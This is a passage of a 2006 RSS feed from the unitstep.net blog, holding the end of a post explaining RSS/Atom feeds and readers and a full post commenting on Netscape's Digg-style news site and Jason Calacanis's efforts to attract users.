<p>The <a href="http://diveintomark.org/archives/2004/02/04/incompatible-rss">history of <acronym class="uttInitialism" title="Really Simple Syndication">RSS</acronym></a> is complex and coloured with many differing non-compatible standards all using this three-letter acronym.  Of these, <acronym class="uttInitialism" title="Really Simple Syndication">RSS</acronym> 2.0 and <acronym class="uttInitialism" title="Really Simple Syndication">RSS</acronym> 0.91 seem to be the most popular, with perhaps <acronym class="uttInitialism" title="Really Simple Syndication">RSS</acronym> 2.0 becoming more popular with time.  You shouldn&#8217;t have to worry about all of these differences, as anyone who makes a quality news reader/aggregator, the software used to subscribe to these feeds is probably aware of this and has made their software compatible with all these different versions.  </p>
<p>To further add to the confusion, another syndication format, <a href="http://en.wikipedia.org/wiki/Atom_%28standard%29">Atom</a> was also developed back in 2003, in response to <acronym class="uttInitialism" title="Really Simple Syndication">RSS</acronym> not being an open format, such as <a href="http://www.w3.org/MarkUp/" class="ubernym uttInitialism"><acronym class="uttInitialism" title="eXtensible HyperText Markup Language - HTML reformulated as XML">XHTML</acronym></a>.  As a result, Atom was developed, and is the only format with the IETF&#8217;s backing, and hence the only format with a proper, recognized, MIME-type.  It thus has a large following among the geeks and tech-saavy, who are perhaps the only people in the world concerned with such things &#8211; not that this is such a bad thing.  However, most common folk only care &#8220;that it works&#8221;.  (Note: WordPress offers Atom feeds as well as <acronym class="uttInitialism" title="Really Simple Syndication">RSS</acronym> feeds; I simply have not linked to them for brevity and so as not to create confusion with multiple feed links for the same content.)</p>
<h3>So, how <em>does</em> it work?</h3>
<p>In very basic terms, syndicated content doesn&#8217;t utilize any new web technologies, in contrast with, for example, BitTorrent.  Instead, to create an <acronym class="uttInitialism" title="Really Simple Syndication">RSS</acronym>/Atom feed, a website will make another copy of regularly-updated content, except it will be formatted and marked up in a certain, <a href="http://www.w3.org/XML/" class="ubernym uttInitialism"><acronym class="uttInitialism" title="eXtensible Markup Language">XML</acronym></a>-friendly way, so that it can be read easily by news readers/aggregators.  This file is known as the &#8220;feed&#8221;, or its location as the &#8220;feed <acronym class="uttInitialism" title="Uniform Resource Locator">URL</acronym>&#8221;.  The contents of the feed have been formatted very carefully, and if you were to look at the source, it would look similar to <acronym class="uttInitialism" title="HyperText Markup Language">HTML</acronym> markup, except maybe a bit more complicated.  </p>
<p>These feeds are almost always generated by software, and not by hand, thus they fit very nicely into most blogging and <acronym class="uttInitialism" title="Content Management System">CMS</acronym> software.  They usually only contain content, and some useful metadata about it, such as publishing date, author and so forth, and thus allow the reader to get at what&#8217;s useful, without having to remember to visit that website.</p>
<h3>How&#8217;s it helpful?</h3>
<p>On their own, the feeds wouldn&#8217;t be very much use.  But the other side of it is client software called feed readers, news readers or aggregators.  These allow the reader to &#8220;subscribe&#8221; to feeds that they choose &#8211; in effect, making a list of sites whose content they are interested in seeing when it is updated with new information.  </p>
<p>I hesitate to use the word &#8220;subscribe&#8221;, since although it&#8217;s useful to describe the concept (sort of like subscribing to a magazine you like), the process is not the same.  Unlike subscribing to a newspaper that&#8217;s delivered to your doorstep (A &#8220;push&#8221; service), news readers actually subscribe by &#8220;pulling&#8221; the data to your computer.  Thus, a news reader will check a feed to see if it&#8217;s been updated; if it has, it will download the new data.  Thus unsubscribing is fully within your grasp; the act of &#8220;unsubscribing&#8221; merely means removing the feed <acronym class="uttInitialism" title="Uniform Resource Locator">URL</acronym> from your reader, so there&#8217;s no real possibility of spam like with e-mail.</p>
<p>It&#8217;s useful since it allows you to dilute the vast quantity of new information on the web everyday down to what you consider to be useful.  If you&#8217;re like me, you are interested in stuff like web design, development, technology and the like.  Once I find a site or blog that I like, I subscribe to its <acronym class="uttInitialism" title="Really Simple Syndication">RSS</acronym> feed, and thus I no longer have to continually search the web to find interesting information, and can keep up to date on new developments.  </p>
<h3>So, how do I get started?</h3>
<p>Syndication has been around for long enough that there are many mature news readers out there. Wikipedia <a href="http://en.wikipedia.org/wiki/List_of_news_aggregators">used to have a good list</a>, but it was deleted by the admins over there after an extensive discussion, because we all know <a href="http://en.wikipedia.org/wiki/Wikipedia:What_Wikipedia_is_not">how evil link lists</a> can be and how they&#8217;re destorying Wikipedia and the moral fabric of America.  However, they did link to this <a href="http://www.aggcompare.com/">somewhat hard-to-read</a> directory of <acronym class="uttInitialism" title="Really Simple Syndication">RSS</acronym> readers &#8211; the list is huge.</p>
<p>There are different types of readers, based on what you need.  The traditional reader will install<br />
onto your computer and provides an interface similar to an e-mail client.  Popular ones include clients from NewsGator, and of course the built-in functionality offered by Mozilla&#8217;s Thunderbird client, and the &#8220;Live bookmark&#8221; option in Firefox.  However, the built-in options in Thunderbird and Firefox are limited, in my opinion.</p>
<p>The other, newer breed are web applications that provide news aggregation.  Currently, I&#8217;m using <a href="http://www.google.com/reader">Google Reader</a>, and am liking it.  While it may not offer all the functionality of a regular software client, I like the fact that I can access it from any computer, and it&#8217;s fairly fast.  Subscribing to feeds is also very easy; you don&#8217;t even need to entire the correct feed <acronym class="uttInitialism" title="Uniform Resource Locator">URL</acronym>.  If you enter a website <acronym class="uttInitialism" title="Uniform Resource Locator">URL</acronym> (such as http://unitstep.net), it will automatically see if there&#8217;s any feed URLs linked from the site, and will subscribe to them.  The layout is also decent, and I haven&#8217;t had any problems with it.  Google Reader even provides a feed of its own, so you can subscribe to this feed to view your aggregated feeds! </p>
<p>Other options include &#8220;widgets&#8221;, either for desktop widget engines such as the <a href="http://widgets.yahoo.com/">Yahoo! Widget Engine</a>, or online widgets for portal sites such as Google&#8217;s <a href="http://google.com/ig">&#8220;I Google&#8221;</a>, or Microsoft&#8217;s new <a href="http://live.com">Live</a> service.  These allow you to view your feeds in small boxes of information that are part of a personalized home page.  I don&#8217;t really use these types of sites all that much, but they can be useful to many so its worth a mention.</p>
<h3>Your world, your information</h3>
<p>So, in conclusion, get out there, and start feeding!  It&#8217;s easier to read and absorb useful information when its already been stripped down to what you care about, and syndicated content is allowing that.</p>
<hr/>Copyright &copy; 2010 <strong><a href="http://unitstep.net">unitstep.net</a></strong>. This Feed is for personal non-commercial use only. If you are not reading this material in your news aggregator, the site you are looking at is guilty of copyright infringement. Please contact <strong><a href="mailto:webmaster@unitstep.net">webmaster@unitstep.net</a></strong> for more information.<br/><span style="float: right;font-size: 7pt"><a href="http://blog.taragana.com/index.php/archive/wordpress-plugins-provided-by-taraganacom/">Plugin</a> by <a href="http://www.taragana.com/">Taragana</a></span>]]></content:encoded>
			<wfw:commentRss>http://unitstep.net/blog/2006/07/25/rss-not-just-for-geeks-anymore/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Netscape&#8217;s digg-clone not doing so well?</title>
		<link>http://unitstep.net/blog/2006/07/19/netscapes-digg-clone-not-doing-so-well/</link>
		<comments>http://unitstep.net/blog/2006/07/19/netscapes-digg-clone-not-doing-so-well/#comments</comments>
		<pubDate>Thu, 20 Jul 2006 03:03:23 +0000</pubDate>
		<dc:creator>Peter Chng</dc:creator>
				<category><![CDATA[digg]]></category>
		<category><![CDATA[netscape]]></category>
		<category><![CDATA[web2.0]]></category>

		<guid isPermaLink="false">http://unitstep.net/blog/2006/07/19/netscapes-digg-clone-not-doing-so-well/</guid>
		<description><![CDATA[I wrote about the new Netscape site a while ago (back then it was in beta), which was basically a Digg clone meant to replace their traditional news portal site that had been in its current form ever since AOL acquired them.  The idea seemed great &#8211; copy the basic idea of such a [...]]]></description>
			<content:encoded><![CDATA[<p>I <a href="/blog/2006/06/17/the-new-netscape-site-proof-of-the-power-of-community/">wrote about</a> the new Netscape site a while ago (back then it was in beta), which was basically a <a href="http://digg.com">Digg</a> clone meant to replace their traditional news portal site that had been in its current form ever since AOL acquired them.  The idea seemed great &#8211; copy the basic idea of such a <a href="http://weblogs.hitwise.com/leeann-prescott/2006/07/digg_versus_new_york_times_rea.html">supposedly popular</a> website as Digg, but push it into the mainstream and add editorial control to prevent mob rule.  However, <a href="http://www.techcrunch.com/2006/07/19/huge-red-flag-at-netscape/">as some would say</a>, it looks like they may be rearranging the deck chairs on the Titanic over there.</p>
<h3>It started as a rumbling</h3>
<p>Things heated up yesterday, when it was <a href="http://www.micropersuasion.com/2006/07/netscape_editor.html">reported</a> that many of the fans of the old Netscape were voicing dissent at the imposition of this new style of news that was more community-oriented.  Many didn&#8217;t like the new format &#8211; they wanted a tried and true format such as the previous portal, where things tended to be more organized.  To many people (especially Digg fans), this may seem weird, even somewhat backwards &#8211; but whatever it is, it&#8217;s the mainstream.  Evidently the community-oriented web 2.0-style news site touted by many as revolutionary, is <a href="http://unitstep.net/blog/2006/07/07/the-web-20-divide/">in the minority</a>.</p>
<p>The outspoken leader of the new Netscape, Jason Calacanis, made a <a href="http://www.calacanis.com/2006/07/17/old-vs-new-netscape-or-if-you-could-change-geocities-into-mys/">quick response</a>, which was also editorially promoted on the Netscape website. (Editors there have a say on which stories get pinned to the top, unlike Digg, where apparently there are no editors.)  Here&#8217;s a nice quote that summed up his feelings.</p>
<blockquote><p>Look at it this way: if Geocities could change itself to MySpace before losing it&#8217;s marketshare to MySpace you would do that right?</p>
<p>Same thing here, we&#8217;re in the middle of paradigm shift from top-down control to bottom-up participation, and when you make a radical change like that you&#8217;re gonna get pushback. In fact, I&#8217;m really excited to see the pushback because it let&#8217;s me know we are on the right track.</p>
</blockquote>
<p>Ah, one of the fabled promises and features of web 2.0 &#8211; user participation.  For some applications this really has succeeded, such as <a href="http://www.flickr.com">Flickr</a>, and of course, blogging.  But what many fail to see is that these trends are not mainstream &#8211; not by any total measure.  While Flickr certainly is popular, it is by no means <a href="http://www.techcrunch.com/2006/06/22/photobucket-vs-flickr-in-alexa-and-technorati/">the most popular photosharing</a> service, despite offering many web 2.0 features considered by many (including myself) to be useful, time-saving, nifty, or otherwise cool.  The same thing goes for blogging &#8211; while it seems like the blogosphere is huge, it by no means comprises a significant section of all online users.</p>
<p>Calacanis&#8217; own statements didn&#8217;t seem to carry much weight when, soon after, he appeared to be <a href="http://www.calacanis.com/2006/07/18/new-netscape-vs-old-netscape-truce/">calling for a truce</a>, offering a &#8220;professional&#8221;, alternate version of the site for the old school crowd.  And now, today, he is <a href="http://www.calacanis.com/2006/07/18/everyones-gotta-eat-or-1-000-a-month-for-doing-what-youre/">offering $1000 a month</a> to users of Digg (and other social news sites) to come over to Netscape and post their links to stories/news items there instead.</p>
<h3>Making money in the web 2.0 world</h3>
<p>At first, such an offer seems absurd.  But when you hear some people&#8217;s explanations, it makes sense &#8211; after all, they would be paid for doing a service, and what&#8217;s wrong with that? However, after more thinking, the idea does turn out to be absurd.  The new Netscape and Digg are sites that are meant to be community-oriented; supposedly by the people, for the people.  If some are getting paid, and some aren&#8217;t, that makes things very absurd.  At the very least, Calacanis&#8217; offer makes the new Netscape seem very desperate to gain popularity, which it apparently has had trouble doing.</p>
<p>The problem here stems from several factors.  Firstly, Netscape entered the game way too late &#8211; they are attempting to gain an advantage in a niche market dominated by Digg, Delicious and others &#8211; and for many in this market, the idea of &#8220;editorial control&#8221; turns them off.  They want something like Digg, that at the very least <a href="http://plentyoffish.wordpress.com/2006/06/15/digg-sucks-netscape-digg-clone-not-much-better/">gives the impression</a> of full control by the people. </p>
<p>Secondly, while they didn&#8217;t fully copy Digg, the parts they did change were not for the better.  Besides the aforementioned editorial control, Netscape also aims to serve up stories from all topics, not just technology as the original Digg did.  This doesn&#8217;t match up with the niche market that the new Netscape is attempting to gain entry into.  If Digg users are any indication, the <a href="http://www.federatedmedia.net/authors/digg">average user</a> is extremely tech-saavy, meaning they&#8217;re interested in, you guessed it, tech-oriented news.  Even after Digg added other categories besides tech news, tech news still dominates almost all of the news that makes the front page. </p>
<p>Thus, the new Netscape is effectively orphaned some where in between web 2.0 and mainstream, appealing to neither and garnering criticism from both &#8211; a sort of &#8220;worst of both worlds&#8221; situation. This has evidently manifested itself in its less than impressive traffic numbers, and the seemingly desperate actions of Jason Calacanis.</p>
<h3>AOL bearing down?</h3>
<p>The actions of Mr. Calacanis may not be due entirely to himself.  As the guy behind the idea for the new Netscape, which must have been born out of AOL&#8217;s desire to increase their ad revenue, he&#8217;s facing much pressure to get his baby to produce and be successful.  He may be worried about having to take the fall if the site fails.  With all the resources of AOL, perhaps it&#8217;s no surprise that he&#8217;s <a href="http://www.calacanis.com/2006/07/05/advice-and-an-offer-for-amanda-congdon/">throwing money</a> in every direction trying to solve the problem.  </p>
<p>I sort of feel sorry for him &#8211; I do believe him to be an intelligent person, but perhaps just a bit misguided and obviously under a lot of pressure from AOL to produce something popular.  If there&#8217;s any lesson to be learned from this unfortunate situation, it&#8217;s that offering snazzy web 2.0 features does not mean your website will be successful or popular in the mainstream, because, well, web 2.0 just isn&#8217;t mainstream. </p>
<hr/>Copyright &copy; 2010 <strong><a href="http://unitstep.net">unitstep.net</a></strong>. This Feed is for personal non-commercial use only. If you are not reading this material in your news aggregator, the site you are looking at is guilty of copyright infringement. Please contact <strong><a href="mailto:webmaster@unitstep.net">webmaster@unitstep.net</a></strong> for more information.<br/><span style="float: right;font-size: 7pt"><a href="http://blog.taragana.com/index.php/archive/wordpress-plugins-provided-by-taraganacom/">Plugin</a> by <a href="http://www.taragana.com/">Taragana</a></span>]]></content:encoded>
			<wfw:commentRss>http://unitstep.net/blog/2006/07/19/netscapes-digg-clone-not-doing-so-well/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
	</channel>
</rss>
